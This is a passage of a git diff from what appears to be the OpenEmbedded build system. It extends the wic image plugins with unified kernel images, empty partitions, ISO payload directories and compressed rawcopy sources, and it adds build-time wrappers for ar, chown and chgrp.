grubefi_conf += "\n"
+ if dtb:
+ grubefi_conf += "devicetree /%s\n" % dtb
+
grubefi_conf += "}\n"
logger.debug("Writing grubefi config %s/hdd/boot/EFI/BOOT/grub.cfg",
@@ -118,24 +133,18 @@ class BootimgEFIPlugin(SourcePlugin):
bootloader = creator.ks.bootloader
+ unified_image = source_params.get('create-unified-kernel-image') == "true"
+
loader_conf = ""
- loader_conf += "default boot\n"
+ if not unified_image:
+ loader_conf += "default boot\n"
loader_conf += "timeout %d\n" % bootloader.timeout
initrd = source_params.get('initrd')
+ dtb = source_params.get('dtb')
- if initrd:
- # obviously we need to have a common common deploy var
- bootimg_dir = get_bitbake_var("DEPLOY_DIR_IMAGE")
- if not bootimg_dir:
- raise WicError("Couldn't find DEPLOY_DIR_IMAGE, exiting")
-
- initrds = initrd.split(';')
- for rd in initrds:
- cp_cmd = "cp %s/%s %s" % (bootimg_dir, rd, hdddir)
- exec_cmd(cp_cmd, True)
- else:
- logger.debug("Ignoring missing initrd")
+ if not unified_image:
+ cls._copy_additional_files(hdddir, initrd, dtb)
logger.debug("Writing systemd-boot config "
"%s/hdd/boot/loader/loader.conf", cr_workdir)
@@ -183,11 +192,15 @@ class BootimgEFIPlugin(SourcePlugin):
for rd in initrds:
boot_conf += "initrd /%s\n" % rd
- logger.debug("Writing systemd-boot config "
- "%s/hdd/boot/loader/entries/boot.conf", cr_workdir)
- cfg = open("%s/hdd/boot/loader/entries/boot.conf" % cr_workdir, "w")
- cfg.write(boot_conf)
- cfg.close()
+ if dtb:
+ boot_conf += "devicetree /%s\n" % dtb
+
+ if not unified_image:
+ logger.debug("Writing systemd-boot config "
+ "%s/hdd/boot/loader/entries/boot.conf", cr_workdir)
+ cfg = open("%s/hdd/boot/loader/entries/boot.conf" % cr_workdir, "w")
+ cfg.write(boot_conf)
+ cfg.close()
@classmethod
@@ -207,13 +220,15 @@ class BootimgEFIPlugin(SourcePlugin):
cls.do_configure_grubefi(hdddir, creator, cr_workdir, source_params)
elif source_params['loader'] == 'systemd-boot':
cls.do_configure_systemdboot(hdddir, creator, cr_workdir, source_params)
+ elif source_params['loader'] == 'uefi-kernel':
+ pass
else:
raise WicError("unrecognized bootimg-efi loader: %s" % source_params['loader'])
except KeyError:
raise WicError("bootimg-efi requires a loader, none specified")
- if get_bitbake_var("IMAGE_BOOT_FILES") is None:
- logger.debug('No boot files defined in IMAGE_BOOT_FILES')
+ if get_bitbake_var("IMAGE_EFI_BOOT_FILES") is None:
+ logger.debug('No boot files defined in IMAGE_EFI_BOOT_FILES')
else:
boot_files = None
for (fmt, id) in (("_uuid-%s", part.uuid), ("_label-%s", part.label), (None, None)):
@@ -222,7 +237,7 @@ class BootimgEFIPlugin(SourcePlugin):
else:
var = ""
- boot_files = get_bitbake_var("IMAGE_BOOT_FILES" + var)
+ boot_files = get_bitbake_var("IMAGE_EFI_BOOT_FILES" + var)
if boot_files:
break
@@ -288,11 +303,109 @@ class BootimgEFIPlugin(SourcePlugin):
kernel = "%s-%s.bin" % \
(get_bitbake_var("KERNEL_IMAGETYPE"), get_bitbake_var("INITRAMFS_LINK_NAME"))
- install_cmd = "install -m 0644 %s/%s %s/%s" % \
- (staging_kernel_dir, kernel, hdddir, kernel)
- exec_cmd(install_cmd)
+ if source_params.get('create-unified-kernel-image') == "true":
+ initrd = source_params.get('initrd')
+ if not initrd:
+ raise WicError("initrd= must be specified when create-unified-kernel-image=true, exiting")
+
+ deploy_dir = get_bitbake_var("DEPLOY_DIR_IMAGE")
+ efi_stub = glob("%s/%s" % (deploy_dir, "linux*.efi.stub"))
+ if len(efi_stub) == 0:
+ raise WicError("Unified Kernel Image EFI stub not found, exiting")
+ efi_stub = efi_stub[0]
+
+ with tempfile.TemporaryDirectory() as tmp_dir:
+ label = source_params.get('label')
+ label_conf = "root=%s" % creator.rootdev
+ if label:
+ label_conf = "LABEL=%s" % label
+
+ bootloader = creator.ks.bootloader
+ cmdline = open("%s/cmdline" % tmp_dir, "w")
+ cmdline.write("%s %s" % (label_conf, bootloader.append))
+ cmdline.close()
+
+ initrds = initrd.split(';')
+ initrd = open("%s/initrd" % tmp_dir, "wb")
+ for f in initrds:
+ with open("%s/%s" % (deploy_dir, f), 'rb') as in_file:
+ shutil.copyfileobj(in_file, initrd)
+ initrd.close()
+
+ # Searched by systemd-boot:
+ # https://systemd.io/BOOT_LOADER_SPECIFICATION/#type-2-efi-unified-kernel-images
+ install_cmd = "install -d %s/EFI/Linux" % hdddir
+ exec_cmd(install_cmd)
+
+ staging_dir_host = get_bitbake_var("STAGING_DIR_HOST")
+ target_sys = get_bitbake_var("TARGET_SYS")
+
+ objdump_cmd = "%s-objdump" % target_sys
+ objdump_cmd += " -p %s" % efi_stub
+ objdump_cmd += " | awk '{ if ($1 == \"SectionAlignment\"){print $2} }'"
+
+ ret, align_str = exec_native_cmd(objdump_cmd, native_sysroot)
+ align = int(align_str, 16)
- if get_bitbake_var("IMAGE_BOOT_FILES"):
+ objdump_cmd = "%s-objdump" % target_sys
+ objdump_cmd += " -h %s | tail -2" % efi_stub
+ ret, output = exec_native_cmd(objdump_cmd, native_sysroot)
+
+ offset = int(output.split()[2], 16) + int(output.split()[3], 16)
+
+ osrel_off = offset + align - offset % align
+ osrel_path = "%s/usr/lib/os-release" % staging_dir_host
+ osrel_sz = os.stat(osrel_path).st_size
+
+ cmdline_off = osrel_off + osrel_sz
+ cmdline_off = cmdline_off + align - cmdline_off % align
+ cmdline_sz = os.stat(cmdline.name).st_size
+
+ dtb_off = cmdline_off + cmdline_sz
+ dtb_off = dtb_off + align - dtb_off % align
+
+ dtb = source_params.get('dtb')
+ if dtb:
+ if ';' in dtb:
+ raise WicError("Only one DTB supported, exiting")
+ dtb_path = "%s/%s" % (deploy_dir, dtb)
+ dtb_params = '--add-section .dtb=%s --change-section-vma .dtb=0x%x' % \
+ (dtb_path, dtb_off)
+ linux_off = dtb_off + os.stat(dtb_path).st_size
+ linux_off = linux_off + align - linux_off % align
+ else:
+ dtb_params = ''
+ linux_off = dtb_off
+
+ linux_path = "%s/%s" % (staging_kernel_dir, kernel)
+ linux_sz = os.stat(linux_path).st_size
+
+ initrd_off = linux_off + linux_sz
+ initrd_off = initrd_off + align - initrd_off % align
+
+ # https://www.freedesktop.org/software/systemd/man/systemd-stub.html
+ objcopy_cmd = "%s-objcopy" % target_sys
+ objcopy_cmd += " --enable-deterministic-archives"
+ objcopy_cmd += " --preserve-dates"
+ objcopy_cmd += " --add-section .osrel=%s" % osrel_path
+ objcopy_cmd += " --change-section-vma .osrel=0x%x" % osrel_off
+ objcopy_cmd += " --add-section .cmdline=%s" % cmdline.name
+ objcopy_cmd += " --change-section-vma .cmdline=0x%x" % cmdline_off
+ objcopy_cmd += dtb_params
+ objcopy_cmd += " --add-section .linux=%s" % linux_path
+ objcopy_cmd += " --change-section-vma .linux=0x%x" % linux_off
+ objcopy_cmd += " --add-section .initrd=%s" % initrd.name
+ objcopy_cmd += " --change-section-vma .initrd=0x%x" % initrd_off
+ objcopy_cmd += " %s %s/EFI/Linux/linux.efi" % (efi_stub, hdddir)
+
+ exec_native_cmd(objcopy_cmd, native_sysroot)
+ else:
+ if source_params.get('install-kernel-into-boot-dir') != 'false':
+ install_cmd = "install -m 0644 %s/%s %s/%s" % \
+ (staging_kernel_dir, kernel, hdddir, kernel)
+ exec_cmd(install_cmd)
+
+ if get_bitbake_var("IMAGE_EFI_BOOT_FILES"):
for src_path, dst_path in cls.install_task:
install_cmd = "install -m 0644 -D %s %s" \
% (os.path.join(kernel_dir, src_path),
@@ -312,6 +425,28 @@ class BootimgEFIPlugin(SourcePlugin):
for mod in [x for x in os.listdir(kernel_dir) if x.startswith("systemd-")]:
cp_cmd = "cp %s/%s %s/EFI/BOOT/%s" % (kernel_dir, mod, hdddir, mod[8:])
exec_cmd(cp_cmd, True)
+ elif source_params['loader'] == 'uefi-kernel':
+ kernel = get_bitbake_var("KERNEL_IMAGETYPE")
+ if not kernel:
+ raise WicError("Empty KERNEL_IMAGETYPE %s\n" % target)
+ target = get_bitbake_var("TARGET_SYS")
+ if not target:
+ raise WicError("Unknown arch (TARGET_SYS) %s\n" % target)
+
+ if re.match("x86_64", target):
+ kernel_efi_image = "bootx64.efi"
+ elif re.match('i.86', target):
+ kernel_efi_image = "bootia32.efi"
+ elif re.match('aarch64', target):
+ kernel_efi_image = "bootaa64.efi"
+ elif re.match('arm', target):
+ kernel_efi_image = "bootarm.efi"
+ else:
+ raise WicError("UEFI stub kernel is incompatible with target %s" % target)
+
+ for mod in [x for x in os.listdir(kernel_dir) if x.startswith(kernel)]:
+ cp_cmd = "cp %s/%s %s/EFI/BOOT/%s" % (kernel_dir, mod, hdddir, kernel_efi_image)
+ exec_cmd(cp_cmd, True)
else:
raise WicError("unrecognized bootimg-efi loader: %s" %
source_params['loader'])
@@ -323,6 +458,11 @@ class BootimgEFIPlugin(SourcePlugin):
cp_cmd = "cp %s %s/" % (startup, hdddir)
exec_cmd(cp_cmd, True)
+ for paths in part.include_path or []:
+ for path in paths:
+ cp_cmd = "cp -r %s %s/" % (path, hdddir)
+ exec_cmd(cp_cmd, True)
+
du_cmd = "du -bks %s" % hdddir
out = exec_cmd(du_cmd)
blocks = int(out.split()[0])
@@ -337,6 +477,13 @@ class BootimgEFIPlugin(SourcePlugin):
logger.debug("Added %d extra blocks to %s to get to %d total blocks",
extra_blocks, part.mountpoint, blocks)
+ # required for compatibility with certain devices expecting file system
+ # block count to be equal to partition block count
+ if blocks < part.fixed_size:
+ blocks = part.fixed_size
+ logger.debug("Overriding %s to %d total blocks for compatibility",
+ part.mountpoint, blocks)
+
# dosfs image, created by mkdosfs
bootimg = "%s/boot.img" % cr_workdir
diff --git a/scripts/lib/wic/plugins/source/bootimg-partition.py b/scripts/lib/wic/plugins/source/bootimg-partition.py
index 5dbe2558d2..1071d1af3f 100644
--- a/scripts/lib/wic/plugins/source/bootimg-partition.py
+++ b/scripts/lib/wic/plugins/source/bootimg-partition.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# DESCRIPTION
@@ -30,6 +32,7 @@ class BootimgPartitionPlugin(SourcePlugin):
"""
name = 'bootimg-partition'
+ image_boot_files_var_name = 'IMAGE_BOOT_FILES'
@classmethod
def do_configure_partition(cls, part, source_params, cr, cr_workdir,
@@ -54,12 +57,12 @@ class BootimgPartitionPlugin(SourcePlugin):
else:
var = ""
- boot_files = get_bitbake_var("IMAGE_BOOT_FILES" + var)
+ boot_files = get_bitbake_var(cls.image_boot_files_var_name + var)
if boot_files is not None:
break
if boot_files is None:
- raise WicError('No boot files defined, IMAGE_BOOT_FILES unset for entry #%d' % part.lineno)
+ raise WicError('No boot files defined, %s unset for entry #%d' % (cls.image_boot_files_var_name, part.lineno))
logger.debug('Boot files: %s', boot_files)
@@ -110,7 +113,7 @@ class BootimgPartitionPlugin(SourcePlugin):
# Use a custom configuration for extlinux.conf
extlinux_conf = custom_cfg
logger.debug("Using custom configuration file "
- "%s for extlinux.cfg", configfile)
+ "%s for extlinux.conf", configfile)
else:
raise WicError("configfile is specified but failed to "
"get it from %s." % configfile)
diff --git a/scripts/lib/wic/plugins/source/bootimg-pcbios.py b/scripts/lib/wic/plugins/source/bootimg-pcbios.py
index f2639e7004..a207a83530 100644
--- a/scripts/lib/wic/plugins/source/bootimg-pcbios.py
+++ b/scripts/lib/wic/plugins/source/bootimg-pcbios.py
@@ -122,7 +122,7 @@ class BootimgPcbiosPlugin(SourcePlugin):
syslinux_conf += "DEFAULT boot\n"
syslinux_conf += "LABEL boot\n"
- kernel = "/vmlinuz"
+ kernel = "/" + get_bitbake_var("KERNEL_IMAGETYPE")
syslinux_conf += "KERNEL " + kernel + "\n"
syslinux_conf += "APPEND label=boot root=%s %s\n" % \
@@ -155,8 +155,8 @@ class BootimgPcbiosPlugin(SourcePlugin):
kernel = "%s-%s.bin" % \
(get_bitbake_var("KERNEL_IMAGETYPE"), get_bitbake_var("INITRAMFS_LINK_NAME"))
- cmds = ("install -m 0644 %s/%s %s/vmlinuz" %
- (staging_kernel_dir, kernel, hdddir),
+ cmds = ("install -m 0644 %s/%s %s/%s" %
+ (staging_kernel_dir, kernel, hdddir, get_bitbake_var("KERNEL_IMAGETYPE")),
"install -m 444 %s/syslinux/ldlinux.sys %s/ldlinux.sys" %
(bootimg_dir, hdddir),
"install -m 0644 %s/syslinux/vesamenu.c32 %s/vesamenu.c32" %
@@ -186,8 +186,10 @@ class BootimgPcbiosPlugin(SourcePlugin):
# dosfs image, created by mkdosfs
bootimg = "%s/boot%s.img" % (cr_workdir, part.lineno)
- dosfs_cmd = "mkdosfs -n boot -i %s -S 512 -C %s %d" % \
- (part.fsuuid, bootimg, blocks)
+ label = part.label if part.label else "boot"
+
+ dosfs_cmd = "mkdosfs -n %s -i %s -S 512 -C %s %d" % \
+ (label, part.fsuuid, bootimg, blocks)
exec_native_cmd(dosfs_cmd, native_sysroot)
mcopy_cmd = "mcopy -i %s -s %s/* ::/" % (bootimg, hdddir)
diff --git a/scripts/lib/wic/plugins/source/empty.py b/scripts/lib/wic/plugins/source/empty.py
new file mode 100644
index 0000000000..4178912377
--- /dev/null
+++ b/scripts/lib/wic/plugins/source/empty.py
@@ -0,0 +1,89 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# The empty wic plugin is used to create unformatted empty partitions for wic
+# images.
+# To use it you must pass "empty" as argument for the "--source" parameter in
+# the wks file. For example:
+# part foo --source empty --ondisk sda --size="1024" --align 1024
+#
+# The plugin supports writing zeros to the start of the
+# partition. This is useful to overwrite old content like
+# filesystem signatures which may be re-recognized otherwise.
+# This feature can be enabled with
+# '--sourceparams="[fill|size=<N>[S|s|K|k|M|G]][,][bs=<N>[S|s|K|k|M|G]]"'
+# Conflicting or missing options throw errors.
+
+import logging
+import os
+
+from wic import WicError
+from wic.ksparser import sizetype
+from wic.pluginbase import SourcePlugin
+
+logger = logging.getLogger('wic')
+
+class EmptyPartitionPlugin(SourcePlugin):
+ """
+ Populate unformatted empty partition.
+
+ The following sourceparams are supported:
+ - fill
+ Fill the entire partition with zeros. Requires '--fixed-size' option
+ to be set.
+ - size=<N>[S|s|K|k|M|G]
+ Set the first N bytes of the partition to zero. Default unit is 'K'.
+ - bs=<N>[S|s|K|k|M|G]
+ Write at most N bytes at a time during source file creation.
+ Defaults to '1M'. Default unit is 'K'.
+ """
+
+ name = 'empty'
+
+ @classmethod
+ def do_prepare_partition(cls, part, source_params, cr, cr_workdir,
+ oe_builddir, bootimg_dir, kernel_dir,
+ rootfs_dir, native_sysroot):
+ """
+ Called to do the actual content population for a partition i.e. it
+ 'prepares' the partition to be incorporated into the image.
+ """
+ get_byte_count = sizetype('K', True)
+ size = 0
+
+ if 'fill' in source_params and 'size' in source_params:
+ raise WicError("Conflicting source parameters 'fill' and 'size' specified, exiting.")
+
+ # Set the size of the zeros to be written to the partition
+ if 'fill' in source_params:
+ if part.fixed_size == 0:
+ raise WicError("Source parameter 'fill' only works with the '--fixed-size' option, exiting.")
+ size = get_byte_count(part.fixed_size)
+ elif 'size' in source_params:
+ size = get_byte_count(source_params['size'])
+
+ if size == 0:
+ # Nothing to do, create empty partition
+ return
+
+ if 'bs' in source_params:
+ bs = get_byte_count(source_params['bs'])
+ else:
+ bs = get_byte_count('1M')
+
+ # Create a binary file of the requested size filled with zeros
+ source_file = os.path.join(cr_workdir, 'empty-plugin-zeros%s.bin' % part.lineno)
+ if not os.path.exists(os.path.dirname(source_file)):
+ os.makedirs(os.path.dirname(source_file))
+
+ quotient, remainder = divmod(size, bs)
+ with open(source_file, 'wb') as file:
+ for _ in range(quotient):
+ file.write(bytearray(bs))
+ file.write(bytearray(remainder))
+
+ part.size = (size + 1024 - 1) // 1024 # size in KB rounded up
+ part.source_file = source_file
diff --git a/scripts/lib/wic/plugins/source/isoimage-isohybrid.py b/scripts/lib/wic/plugins/source/isoimage-isohybrid.py
index 11326a274b..607356ad13 100644
--- a/scripts/lib/wic/plugins/source/isoimage-isohybrid.py
+++ b/scripts/lib/wic/plugins/source/isoimage-isohybrid.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# DESCRIPTION
@@ -216,6 +218,18 @@ class IsoImagePlugin(SourcePlugin):
creator.name = source_params['image_name'].strip()
logger.debug("The name of the image is: %s", creator.name)
+ @staticmethod
+ def _install_payload(source_params, iso_dir):
+ """
+ Copies contents of payload directory (as specified in 'payload_dir' param) into iso_dir
+ """
+
+ if source_params.get('payload_dir'):
+ payload_dir = source_params['payload_dir']
+
+ logger.debug("Payload directory: %s", payload_dir)
+ shutil.copytree(payload_dir, iso_dir, symlinks=True, dirs_exist_ok=True)
+
@classmethod
def do_prepare_partition(cls, part, source_params, creator, cr_workdir,
oe_builddir, bootimg_dir, kernel_dir,
@@ -228,6 +242,8 @@ class IsoImagePlugin(SourcePlugin):
isodir = "%s/ISO" % cr_workdir
+ cls._install_payload(source_params, isodir)
+
if part.rootfs_dir is None:
if not 'ROOTFS_DIR' in rootfs_dir:
raise WicError("Couldn't find --rootfs-dir, exiting.")
diff --git a/scripts/lib/wic/plugins/source/rawcopy.py b/scripts/lib/wic/plugins/source/rawcopy.py
index 3c4997d8ba..21903c2f23 100644
--- a/scripts/lib/wic/plugins/source/rawcopy.py
+++ b/scripts/lib/wic/plugins/source/rawcopy.py
@@ -1,9 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import logging
import os
+import signal
+import subprocess
from wic import WicError
from wic.pluginbase import SourcePlugin
@@ -21,6 +25,10 @@ class RawCopyPlugin(SourcePlugin):
@staticmethod
def do_image_label(fstype, dst, label):
+ # don't create label when fstype is none
+ if fstype == 'none':
+ return
+
if fstype.startswith('ext'):
cmd = 'tune2fs -L %s %s' % (label, dst)
elif fstype in ('msdos', 'vfat'):
@@ -29,15 +37,35 @@ class RawCopyPlugin(SourcePlugin):
cmd = 'btrfs filesystem label %s %s' % (dst, label)
elif fstype == 'swap':
cmd = 'mkswap -L %s %s' % (label, dst)
- elif fstype == 'squashfs':
- raise WicError("It's not possible to update a squashfs "
- "filesystem label '%s'" % (label))
+ elif fstype in ('squashfs', 'erofs'):
+ raise WicError("It's not possible to update a %s "
+ "filesystem label '%s'" % (fstype, label))
else:
raise WicError("Cannot update filesystem label: "
"Unknown fstype: '%s'" % (fstype))
exec_cmd(cmd)
+ @staticmethod
+ def do_image_uncompression(src, dst, workdir):
+ def subprocess_setup():
+ # Python installs a SIGPIPE handler by default. This is usually not what
+ # non-Python subprocesses expect.
+ # SIGPIPE errors are known issues with gzip/bash
+ signal.signal(signal.SIGPIPE, signal.SIG_DFL)
+
+ extension = os.path.splitext(src)[1]
+ decompressor = {
+ ".bz2": "bzip2",
+ ".gz": "gzip",
+ ".xz": "xz",
+ ".zst": "zstd -f",
+ }.get(extension)
+ if not decompressor:
+ raise WicError("Not supported compressor filename extension: %s" % extension)
+ cmd = "%s -dc %s > %s" % (decompressor, src, dst)
+ subprocess.call(cmd, preexec_fn=subprocess_setup, shell=True, cwd=workdir)
+
@classmethod
def do_prepare_partition(cls, part, source_params, cr, cr_workdir,
oe_builddir, bootimg_dir, kernel_dir,
@@ -56,7 +84,13 @@ class RawCopyPlugin(SourcePlugin):
if 'file' not in source_params:
raise WicError("No file specified")
- src = os.path.join(kernel_dir, source_params['file'])
+ if 'unpack' in source_params:
+ img = os.path.join(kernel_dir, source_params['file'])
+ src = os.path.join(cr_workdir, os.path.splitext(source_params['file'])[0])
+ RawCopyPlugin.do_image_uncompression(img, src, cr_workdir)
+ else:
+ src = os.path.join(kernel_dir, source_params['file'])
+
dst = os.path.join(cr_workdir, "%s.%s" % (os.path.basename(source_params['file']), part.lineno))
if not os.path.exists(os.path.dirname(dst)):
diff --git a/scripts/lib/wic/plugins/source/rootfs.py b/scripts/lib/wic/plugins/source/rootfs.py
index f1db83f8a1..e29f3a4c2f 100644
--- a/scripts/lib/wic/plugins/source/rootfs.py
+++ b/scripts/lib/wic/plugins/source/rootfs.py
@@ -35,7 +35,7 @@ class RootfsPlugin(SourcePlugin):
@staticmethod
def __validate_path(cmd, rootfs_dir, path):
if os.path.isabs(path):
- logger.error("%s: Must be relative: %s" % (cmd, orig_path))
+ logger.error("%s: Must be relative: %s" % (cmd, path))
sys.exit(1)
# Disallow climbing outside of parent directory using '..',
@@ -50,7 +50,7 @@ class RootfsPlugin(SourcePlugin):
@staticmethod
def __get_rootfs_dir(rootfs_dir):
- if os.path.isdir(rootfs_dir):
+ if rootfs_dir and os.path.isdir(rootfs_dir):
return os.path.realpath(rootfs_dir)
image_rootfs_dir = get_bitbake_var("IMAGE_ROOTFS", rootfs_dir)
@@ -94,8 +94,12 @@ class RootfsPlugin(SourcePlugin):
"it is not a valid path, exiting" % part.rootfs_dir)
part.rootfs_dir = cls.__get_rootfs_dir(rootfs_dir)
+ part.has_fstab = os.path.exists(os.path.join(part.rootfs_dir, "etc/fstab"))
pseudo_dir = os.path.join(part.rootfs_dir, "../pseudo")
if not os.path.lexists(pseudo_dir):
+ pseudo_dir = os.path.join(cls.__get_rootfs_dir(None), '../pseudo')
+
+ if not os.path.lexists(pseudo_dir):
logger.warn("%s folder does not exist. "
"Usernames and permissions will be invalid " % pseudo_dir)
pseudo_dir = None
@@ -103,9 +107,9 @@ class RootfsPlugin(SourcePlugin):
new_rootfs = None
new_pseudo = None
# Handle excluded paths.
- if part.exclude_path or part.include_path or part.change_directory:
- # We need a new rootfs directory we can delete files from. Copy to
- # workdir.
+ if part.exclude_path or part.include_path or part.change_directory or part.update_fstab_in_rootfs:
+ # We need a new rootfs directory we can safely modify without
+ # interfering with other tasks. Copy to workdir.
new_rootfs = os.path.realpath(os.path.join(cr_workdir, "rootfs%d" % part.lineno))
if os.path.lexists(new_rootfs):
@@ -199,17 +203,33 @@ class RootfsPlugin(SourcePlugin):
if not os.path.lexists(full_path):
continue
+ if new_pseudo:
+ pseudo = cls.__get_pseudo(native_sysroot, new_rootfs, new_pseudo)
+ else:
+ pseudo = None
if path.endswith(os.sep):
# Delete content only.
for entry in os.listdir(full_path):
full_entry = os.path.join(full_path, entry)
- if os.path.isdir(full_entry) and not os.path.islink(full_entry):
- shutil.rmtree(full_entry)
- else:
- os.remove(full_entry)
+ rm_cmd = "rm -rf %s" % (full_entry)
+ exec_native_cmd(rm_cmd, native_sysroot, pseudo)
else:
# Delete whole directory.
- shutil.rmtree(full_path)
+ rm_cmd = "rm -rf %s" % (full_path)
+ exec_native_cmd(rm_cmd, native_sysroot, pseudo)
+
+ # Update part.has_fstab here as fstab may have been added or
+ # removed by the above modifications.
+ part.has_fstab = os.path.exists(os.path.join(new_rootfs, "etc/fstab"))
+ if part.update_fstab_in_rootfs and part.has_fstab and not part.no_fstab_update:
+ fstab_path = os.path.join(new_rootfs, "etc/fstab")
+ # Assume that fstab should always be owned by root with fixed permissions
+ install_cmd = "install -m 0644 -p %s %s" % (part.updated_fstab_path, fstab_path)
+ if new_pseudo:
+ pseudo = cls.__get_pseudo(native_sysroot, new_rootfs, new_pseudo)
+ else:
+ pseudo = None
+ exec_native_cmd(install_cmd, native_sysroot, pseudo)
part.prepare_rootfs(cr_workdir, oe_builddir,
new_rootfs or part.rootfs_dir, native_sysroot,
diff --git a/scripts/lnr b/scripts/lnr
deleted file mode 100755
index a2ac4fec0f..0000000000
--- a/scripts/lnr
+++ /dev/null
@@ -1,24 +0,0 @@
-#! /usr/bin/env python3
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-
-# Create a *relative* symlink, just like ln --relative does but without needing
-# coreutils 8.16.
-
-import sys, os
-
-if len(sys.argv) != 3:
- print("$ lnr TARGET LINK_NAME")
- sys.exit(1)
-
-target = sys.argv[1]
-linkname = sys.argv[2]
-
-if os.path.isabs(target):
- if not os.path.isabs(linkname):
- linkname = os.path.abspath(linkname)
- start = os.path.dirname(linkname)
- target = os.path.relpath(target, start)
-
-os.symlink(target, linkname)
diff --git a/scripts/native-intercept/ar b/scripts/native-intercept/ar
new file mode 100755
index 0000000000..dcc623e3ed
--- /dev/null
+++ b/scripts/native-intercept/ar
@@ -0,0 +1,32 @@
+#!/usr/bin/env python3
+#
+# Wrapper around 'ar' that defaults to deterministic archives
+
+import os
+import shutil
+import sys
+
+# calculate path to the real 'ar'
+path = os.environ['PATH']
+path = path.replace(os.path.dirname(sys.argv[0]), '')
+real_ar = shutil.which('ar', path=path)
+
+if len(sys.argv) == 1:
+ os.execl(real_ar, 'ar')
+
+# modify args to mimic 'ar' configured with --default-deterministic-archives
+argv = sys.argv
+if argv[1].startswith('--'):
+ # No modifier given
+ None
+else:
+ # remove the optional '-'
+ if argv[1][0] == '-':
+ argv[1] = argv[1][1:]
+ if 'U' in argv[1]:
+ sys.stderr.write("ar: non-deterministic mode requested\n")
+ else:
+ argv[1] = argv[1].replace('u', '')
+ argv[1] = 'D' + argv[1]
+
+os.execv(real_ar, argv)
diff --git a/scripts/nativesdk-intercept/chgrp b/scripts/nativesdk-intercept/chgrp
new file mode 100755
index 0000000000..f8ae84b8b3
--- /dev/null
+++ b/scripts/nativesdk-intercept/chgrp
@@ -0,0 +1,30 @@
+#!/usr/bin/env python3
+#
+# Wrapper around 'chgrp' that redirects to root in all cases
+
+import os
+import shutil
+import sys
+
+# calculate path to the real 'chgrp'
+path = os.environ['PATH']
+path = path.replace(os.path.dirname(sys.argv[0]), '')
+real_chgrp = shutil.which('chgrp', path=path)
+
+args = list()
+
+found = False
+
+args.append(real_chgrp)
+
+for i in sys.argv[1:]:
+ if i.startswith("-"):
+ args.append(i)
+ continue
+ if not found:
+ args.append("root")
+ found = True
+ else:
+ args.append(i)
+
+os.execv(real_chgrp, args)
diff --git a/scripts/nativesdk-intercept/chown b/scripts/nativesdk-intercept/chown
new file mode 100755
index 0000000000..0805ceb70a
--- /dev/null
+++ b/scripts/nativesdk-intercept/chown
@@ -0,0 +1,30 @@
+#!/usr/bin/env python3
+#
+# Wrapper around 'chown' that redirects to root in all cases
+
+import os
+import shutil
+import sys
+
+# calculate path to the real 'chown'
+path = os.environ['PATH']
+path = path.replace(os.path.dirname(sys.argv[0]), '')
+real_chown = shutil.which('chown', path=path)
+
+args = list()
+
+found = False
+
+args.append(real_chown)
+
+for i in sys.argv[1:]:
+ if i.startswith("-"):
+ args.append(i)
+ continue
+ if not found:
+ args.append("root:root")
+ found = True
+ else:
+ args.append(i)
+
+os.execv(real_chown, args)
diff --git a/scripts/oe-build-perf-report b/scripts/oe-build-perf-report
index e781f4f03f..7812ea4540 100755
--- a/scripts/oe-build-perf-report
+++ b/scripts/oe-build-perf-report
@@ -1,4 +1,4 @@
-#!/usr/bin/python3
+#!/usr/bin/env python3
#
# Examine build performance test results
#
@@ -353,7 +353,7 @@ def print_html_report(data, id_comp, buildstats):
bs_key = test + '.' + meas
rev = str(metadata['commit_num']['value'])
comp_rev = str(metadata['commit_num']['value_old'])
- if (rev in buildstats and bs_key in buildstats[rev] and
+ if (buildstats and rev in buildstats and bs_key in buildstats[rev] and
comp_rev in buildstats and bs_key in buildstats[comp_rev]):
new_meas['buildstats'] = BSSummary(buildstats[comp_rev][bs_key],
buildstats[rev][bs_key])
@@ -509,7 +509,7 @@ def main(argv=None):
revs = gitarchive.get_test_revs(log, repo, args.tag_name, hostname=args.hostname,
branch=args.branch, machine=args.machine)
- if args.branch2:
+ if args.branch2 and args.branch2 != args.branch:
revs2 = gitarchive.get_test_revs(log, repo, args.tag_name, hostname=args.hostname,
branch=args.branch2, machine=args.machine)
if not len(revs2):
@@ -533,7 +533,7 @@ def main(argv=None):
else:
index1 = len(revs) - 1
- if args.branch2:
+ if args.branch2 and args.branch2 != args.branch:
revs2.append(revs[index1])
index1 = len(revs2) - 1
revs = revs2
diff --git a/scripts/oe-buildenv-internal b/scripts/oe-buildenv-internal
index ba0a9b44d6..2fdb19565a 100755
--- a/scripts/oe-buildenv-internal
+++ b/scripts/oe-buildenv-internal
@@ -32,12 +32,12 @@ fi
# We potentially have code that doesn't parse correctly with older versions
# of Python, and rather than fixing that and being eternally vigilant for
# any other new feature use, just check the version here.
-py_v35_check=$(python3 -c 'import sys; print(sys.version_info >= (3,5,0))')
-if [ "$py_v35_check" != "True" ]; then
- echo >&2 "BitBake requires Python 3.5.0 or later as 'python3 (scripts/install-buildtools can be used if needed)'"
+py_v38_check=$(python3 -c 'import sys; print(sys.version_info >= (3,8,0))')
+if [ "$py_v38_check" != "True" ]; then
+ echo >&2 "BitBake requires Python 3.8.0 or later as 'python3' (scripts/install-buildtools can be used if needed)"
return 1
fi
-unset py_v35_check
+unset py_v38_check
if [ -z "$BDIR" ]; then
if [ -z "$1" ]; then
@@ -88,27 +88,32 @@ if [ ! -d "$BITBAKEDIR" ]; then
return 1
fi
+# Add BitBake's library to PYTHONPATH
+PYTHONPATH=$BITBAKEDIR/lib:$PYTHONPATH
+export PYTHONPATH
+
+# Remove any paths added by sourcing this script before
+[ -n "$OE_ADDED_PATHS" ] && PATH=$(echo $PATH | sed -e "s#$OE_ADDED_PATHS##") ||
+ PATH=$(echo $PATH | sed -e "s#$OEROOT/scripts:$BITBAKEDIR/bin:##")
+
# Make sure our paths are at the beginning of $PATH
-for newpath in "$BITBAKEDIR/bin" "$OEROOT/scripts"; do
- # Remove any existences of $newpath from $PATH
- PATH=$(echo $PATH | sed -re "s#(^|:)$newpath(:|$)#\2#g;s#^:##")
+OE_ADDED_PATHS="$OEROOT/scripts:$BITBAKEDIR/bin:"
